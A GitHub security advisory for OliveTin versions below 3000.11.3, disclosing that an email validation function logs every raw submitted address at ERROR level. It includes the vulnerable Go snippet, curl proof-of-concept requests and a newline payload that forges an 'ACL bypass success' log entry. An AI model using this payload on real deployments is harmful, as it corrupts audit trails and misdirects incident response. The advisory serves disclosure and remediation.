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OliveTin's email argument makes compliance harder, enables log injection

Moderate severity GitHub Reviewed Published Mar 10, 2026 in OliveTin/OliveTin • Updated Mar 12, 2026

Package

gomod github.com/OliveTin/OliveTin (Go)

Affected versions

< 3000.11.3

Patched versions

3000.11.3

Description

Summary

The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.

Details

File: service/internal/executor/arguments.go Line: 254
Version confirmed: 3000.11.1

Vulnerable code

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    log.Errorf("Email check: %v, %v", err, value) 
    if err != nil {
        return err
    }
    return nil
}

The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:

  1. PII Exposure via ERROR logs

Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under

  1. Log Injection

The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:

alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"

OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:

  • Forged security alerts that trigger real PagerDuty/Opsgenie pages
  • Audit trail manipulation hiding real events among noise
  • False positives that exhaust on-call responder attention (alert fatigue)
  1. Alert Fatigue

Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.

Affected execution:
mode: exec: only
The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).

PoC

Get the binding ID

BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H "Content-Type: application/json" -d '{}' | \
  python3 -c "
import sys,json
d=json.load(sys.stdin)
def f(o):
    if isinstance(o,dict):
        a=o.get('action')
        if a and isinstance(a,dict):
            for arg in a.get('arguments',[]):
                if arg.get('type')=='email': print(a['bindingId'])
        [f(v) for v in o.values()]
    elif isinstance(o,list): [f(i) for i in o]
f(d)")
echo "Binding: $BINDING"

Trigger PII exposure (valid email --> ERROR log):

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}"

Observed server log (confirmed on 3000.11.1):

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"

Trigger log injection:

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}"

Observed server log injected line appears as a real event:

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""

Impact

  • End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators
  • Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments
  • On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions
  • Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs

Recommendation

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    if err != nil {
        log.WithField("type", "email").Debugf("Email argument type check failed")
        return err
    }
    return nil
}

Only log on failure, at DEBUG level, and never log the value itself.

References

@jamesread jamesread published to OliveTin/OliveTin Mar 10, 2026
Published to the GitHub Advisory Database Mar 12, 2026
Reviewed Mar 12, 2026
Last updated Mar 12, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Output Neutralization for Logs

The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file. Learn more on MITRE.

Insertion of Sensitive Information into Log File

The product writes sensitive information to a log file. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-xx6g-43w2-9g6g

Source code

Credits

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